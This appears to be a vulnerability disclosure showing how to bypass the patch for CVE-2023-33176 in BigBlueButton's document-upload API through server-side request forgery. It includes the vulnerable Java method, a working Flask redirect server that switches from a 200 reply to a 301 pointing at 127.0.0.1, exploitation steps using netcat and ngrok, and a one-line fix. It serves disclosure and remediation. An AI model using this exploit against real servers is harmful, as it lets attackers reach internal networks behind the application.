This is actually a bypass of CVE-2023-33176 when i able to perform SSRF to internal network.
As we already know, we can upload files via api /bigbluebutton/api/insertDocument
using a remote url.
PresentationUrlDownloadService#savePresentation
is the method to handle this file upload.
public boolean savePresentation(final String meetingId,
final String filename, final String urlString) {
String finalUrl = followRedirect(meetingId, urlString, 0, urlString);
// truncated .....
CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
try {
httpclient.start();
File download = new File(filename);
ZeroCopyConsumer<File> consumer = new ZeroCopyConsumer<File>(download) {
@Override
protected File process(
final HttpResponse response,
final File file,
final ContentType contentType) throws Exception {
if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
throw new ClientProtocolException("Upload failed: " + response.getStatusLine());
}
return file;
}
};
Future<File> future = httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null);
File result = future.get();
success = result.exists();
// truncated ...........
From urlString
variable, PresentationUrlDownloadService#followRedirect
make request - iterates through all the redirects and checks if the url is a valid address, if nothing out of the ordinary and the url no longer redirects, it returns the final url as finalUrl
Finally the server will make a get request from finalUrl
with httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null);
_
So i wonder what if i host a rogue http server myself, and when the followRedirect
method requests to my rogue server, it returns a 200 response, so finalUrl
will still be urlString
, nothing abnormal. But as soon as httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null)
is called to load the file, my rogue server will return a response redirect to a local address, which will be executed hence bypass the limitations implemented in PresentationUrlDownloadService#followRedirect
in the previous patch
0.To verify the bug, at the BBB server, we can use netcat to listening on any port, here will be 7878
:
_
1.Create a simple rogue http server in python like this running on port 8443
in our attacking machine:
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
count = 0
@app.route('/a.txt')
def root():
global count
print(count)
if count == 1:
return redirect('http://127.0.0.1:7878', code=301) # 2nd request returns a redirect response (status_code=301)
count += 1 # increase count by 1
return 'hello!' # the first request will return the usual response (status_code=200)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8443)
_
2.If port 8443
is accessible from the internet we can skip this step, otherwise we need to public this port, here I use ngrok:
_
3.Perform file upload from api /bigbluebutton/api/insertDocument
with remote url is the address of the rogue http server above:
_
4.After sending the request, the rogue server receives 2 requests as follows:
4.1.Return status 200 ==> PresentationUrlDownloadService#followRedirect
4.2.Return status 301 ==> httpclient.execute
(redirect to: http://127.0.0.1:7878
)
_
5.Check netcat at the BBB server, there is a request:
Disable follow redirect at httpclient.execute
since we no longer have to follow it when using finalUrl